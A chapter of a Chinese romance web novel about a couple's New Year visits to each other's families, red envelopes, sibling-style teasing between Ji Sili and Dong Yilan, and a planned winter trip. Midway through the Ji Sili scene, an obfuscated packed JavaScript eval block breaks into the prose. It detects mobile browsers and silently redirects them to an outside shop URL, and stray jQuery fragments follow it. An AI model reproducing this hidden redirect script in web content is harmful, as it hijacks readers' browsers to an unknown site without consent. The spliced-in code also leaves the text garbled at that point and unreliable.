年前,董伊岚放寒假回了宁州,苏砚宁也挑了个时间去了趟江一帆妈妈家。
这还是她头一回去。
原以为有伊岚在,气氛就足够活跃了。
没想到董明浩和贺晓琳也特别健谈,中饭后拉着她聊了许多。
特别是董明浩,兴奋地和苏砚宁聊叶老先生,从他早期作品一直聊,聊到上回叶新庭送他的那副字。
如今那副字被他挂在书房里,逢人就要介绍。
贺晓琳还玩笑说,他恨不得抱着那副字睡觉。
董伊岚嫌她爸啰嗦,拉着苏砚宁就溜了。
她本想带苏砚宁参观参观家里,看见江一帆一脸幽怨看着自己,很识趣地把这个任务还给了她哥,自己跑到房间干别的事情去了。
江一帆妈妈家是一层带地下室和小花园的房子。
一层是客厅、书房,加三个卧室。
江一帆几乎不回家住,他的卧室常年空置,但贺晓琳依旧为他保留着。
推门进去,正对着的窗台洒进冬日阳光,木质地板在阳光的照射下上看不出灰尘的痕迹,很显然每日都有人打扫。
房间里的所有布置陈设,还带着点少年气。
靠墙书柜里除了有医学专业书籍,还有经典文学、英语工具书,甚至被苏砚宁眼尖,发现了夹杂其中的几本动漫杂志和体育赛事杂志。
“你居然会看这些书?”苏砚宁指了指。
江一帆把书抽出来,有些怀念地翻看起来。
他笑道:“怎么?我在你眼里这么无趣吗?”
书柜旁有一张书桌。
桌面上放着一盏护眼台灯,两个相框,除此之外,干干净净。
相框里的照片,苏砚宁看了一眼就笑了。
那是一张江一帆站在宁大校门外的照片,也是董伊岚制作人形抱枕的依据。
江一帆忍着把董伊岚从房间里揪出来当面质问她的冲动,走到她房间门口时,意味不明地瞪了她一眼。
留下一脸茫然的董伊岚,默默腹诽,我哪里惹他了?
地下一层面积会小一些。
只有瑜伽室和厨房。
贺晓琳喜欢做瑜伽,本来那间要改做茶室的,董明浩把空间让给她,改造成了瑜伽室。
面积不算大,但足够用。
房间里有整面墙的镜子,有瑜伽道具,有可移动的显示屏,有音响。
江一帆双手插兜靠在门口,“我妈自从膝盖受伤后,这间房使用频率也下降了。”
“伊岚回家的时候,偶尔会用房间拍些视频,或者在家锻炼跳操。”
“暂时也没动它的想法。”
苏砚宁有些羡慕地这里看看那里摸摸,“真好呀,有属于自己的一个空间,我偶尔也会在家练瑜伽,做梦都想要一个这样的瑜伽室。”
“董叔叔一定很爱你妈妈。”
江一帆没有犹豫点了点头。
瑜伽室外面就是厨房了。
那是一个开放式厨房。
三面靠墙台面和灶具,中间还有一个大的中央操作台。
江一帆像个导游一样又开始介绍,“我家里人爱吃面食,我妈面食做得也好,就专门造了一个操作台给她用。”
他说着抬头往楼梯方向看了眼,“伊岚也偶尔会用。听我妈说,她喜欢捣鼓些蛋糕甜品,手艺还不错。”
“可惜我不爱吃那些,倒是没尝过。”
厨房外便是地下一层的露天花园。
被贺晓琳打造得井井有条,种了当季的花草,还开辟出一块挖了个小池塘用来养鱼。
参观完毕,江一帆拉着她在花园里的椅子上坐下,给她倒了杯茶,问:“怎么样?参观下来,有什么感想?”
苏砚宁眯着眼喝了口茶说:“特别喜欢你妈妈家。”
她细数中意的点,“瑜伽室很棒,厨房的中央操作台也好,这个小花园,就更不用说了。”
“简直是梦中情房。”
江一帆哭笑不得,“你这就有些夸张了,说得好像这些你家没有似的。”
苏砚宁爸妈家比这要大得多,什么样的房间没有?
露天庭院甚至还有专人打理,按照时令种植鲜花。
苏砚宁知道江一帆什么意思,摆了摆手,“你说的是我爸妈家,还是不一样。”
“自己住的话,有这样上下两层的布局,再带个花园,我就很知足了。”
“自己住……”江一帆喃喃,忽地看了她一眼,表情严肃,“知道了,你在点我。”
“我会努力让我们住上带花园的小洋房的。”
*
春节一共也就七天的假期,江一帆值班就去掉了两天。
两家人商量了一下,初二江一帆去苏砚宁家拜年,初三对调。
江一帆在董伊岚的央求下,去拜年的时候把她也给带上了。
伊岚心痛地发现,她哥和她嫂子都谈了好几个月了,至今都没有告诉过她,原来他俩小时候就认识。
董伊岚活泼开朗,懂得如何讨长辈喜欢。
叶虹和苏茂诚很喜欢她,更别说苏砚宁外公外婆了。
她跟着苏砚宁叫,一口一个外公外婆,把老人家哄得乐呵呵的。
连带着江一帆都被看得更顺眼了些。
第二天苏砚宁带着年货去江一帆妈妈家拜年,没想到季思礼也在。
苏砚宁给伊岚包了个红包,又临时去取钱,给季思礼也包了个。
季思礼接过,有些不知所措,“给我的?”
“嗯。”苏砚宁拍了拍他肩膀,“我家习俗就这样,你和伊岚都是小辈,拿着吧。”
于是两个被当做小屁孩儿的人撅着屁股在房间偷拆红包。
季思礼高兴了,董伊岚倒是有些不高兴,尤其是两人拆开红包后,发现金额一样。
董伊岚气得推了推季思礼,“你凭什么和我一样多?你都一把年纪了,自己还有公司在挣钱,而我只是个穷学生啊!”
“拉倒吧。”季思礼嗤笑一声,“别以为我不知道,你那个博主的自媒体挣得也不少。”
董伊岚:“我那叫勤工俭学!”
两人吵吵嚷嚷的,江一帆走到董伊岚房间无奈道:“你俩怎么过年了还要吵?”
董伊岚白了季思礼一眼,笑嘻嘻凑到江一帆眼前,手一伸,“哥,我红包呢?”
江一帆从口袋里拿出一个鼓鼓的红包放她手里,“新年快乐,岁岁平安。”
“谢谢哥!”说罢还嘴甜地又加了一句,“祝哥和嫂子新年快乐,幸福美满,白头偕老!”
季思礼在身后做着怪表情,等董伊岚上来要踹他了,才嬉笑着跳到一边。
他有样学样,也凑到江一帆眼前,手一伸,“帆哥,我红包呢?”
江一帆抱着双臂好整以暇看着季思礼。
他笑容温和,温声询问,“你的红包啊?”
季思礼小鸡啄米似地点点头,眼里充满了期待,“嗯,红包!”
江一帆脸上的笑容瞬间消失,伸手拍了一下季思礼的掌心,“边儿去!多大的人了还敢向我要红包。”
江一帆前脚刚走,董伊岚后脚就开启了嘲讽技能。
“哎呀,也不知道之前是谁说的,和我哥好到同穿一条裤子。”
“结果过年连个红包都讨不到。”
董伊岚得意地转了转眼珠子,把手里一沓钱拍得“啪啪”作响,“承认吧,除了宁嫂,我哥和我才是天下第一好。”
季思礼倒也不和她争辩,忽地上前几步,朝董伊岚神秘地挥了挥手。
他在伊岚耳边
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17662000|203803||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
小声说道:“你还想不想要红包?”
“红包?”董伊岚茫然看向手里的红票票,想不到还能从哪里薅到红包。
但她还是诚实地点了点头,“想。”
耳边的声音带着笑意传来,“那你叫声哥哥听听,我就给你发红包。”
他似乎预感到会有危险的后果,话音落下便迅速后退了几步。
果然,董伊岚咬着牙朝他吼了一个“滚”字。
余音还没消散,刚才还嬉皮笑脸的季思礼,忽然就收起了脸上贱兮兮的表情。
他眼含笑意,慢慢朝伊岚走近,当真从衣服口袋里摸出了一个红包,“别生气了,你的红包。”
塞到伊岚手里后,他的手还在她发顶揉了揉。
季思礼的声音意外地温柔,他对董伊岚说:“新年快乐,伊岚。”
气氛有些奇怪,至少对于他们争吵打闹惯了的相处模式来说,太过温情反而有些浑身不自在。
董伊岚别扭着接过,想了个话题活跃气氛。
她夸张地“哟”了一声,当着季思礼的面打开红包开始清点,“真有红包啊?这么多?!”
“季思礼,你发达了?”
季思礼一副小意思的表情,耸了耸肩,“还好吧。寿仁堂的项目打响了名声,很多公司来找我合作,稍微多挣了点。”
结果没等来伊岚的一句夸奖,“哦,寿仁堂。就是嫂子她爸那家公司是吧?”
“哎,那不还等于是我嫂子给的压岁钱。季思礼,你借花献佛。”
季思礼真不知道这人的脑子里逻辑链是怎么走的。
他一口气堵在胸口,半晌后长吁了一口气,“行行行,你说得都对。”
“懒得和你掰扯,我下楼帮忙了。”
季思礼走出房间,董伊岚也小步跟在了身后。
她见人似乎真有点不高兴了,忙赔笑,“哎呀,我就是开个玩笑嘛。”
“要不我叫你声哥哥,让你占个便宜,你就别生气了。”
前头的人脚步一顿,董伊岚猛地撞上他的背。
她揉着发酸的鼻子,见他只是侧过脸,语气寻常,“好啊。”
“你真想当我哥啊?”董伊岚轻笑道:“那我真叫了啊?”
她捏着嗓子,语调柔软,“思礼哥哥。”
季思礼僵在原地。
身后再次传来伊岚如常的嬉笑声,“恶心不死你!”
那个熟悉的身影从身边跑开,还不忘冲他狡黠地眨了眨眼。
吃饭的时候,江一帆宣布了一件事。
假期的最后几天,他要和苏砚宁一块儿去漠城旅游。
天寒地冻的北极村,在冬日里去领略一番,想想都让人心情振奋。
当然对于旅游地点的选定,两人商量的时候,还起过争执。
苏砚宁想去温暖的海边,穿着比基尼在沙滩上沐浴阳光。
可江一帆不同意。
问他理由,半天憋出一句,“穿太少我怕你着凉。”
对于这个一听就知道是瞎编的理由,苏砚宁自然是不信的。
思来想去,下了定论,“江一帆你这样是不对的。”
“我虽然和你在一起了,但我还是独立的个体,你没有资格限制我的穿衣自由。”
“我不是这个意思。”江一帆解释道:“可不用想都知道,一定会有人把那种让人不舒服的眼神黏在你身上。”
这个理由倒是比原来那个要让人容易接受些。
所以最终商量的结果就是,选择了寒冷的漠城,可以穿很厚的衣服,把人裹起来。
苏砚宁到了机场就后悔了,她忘却了江一帆本人的招蜂引蝶能力。
去什么旅游?就该把江一帆关在家里的,限制他穿衣自由还不够,应该限制他的人身。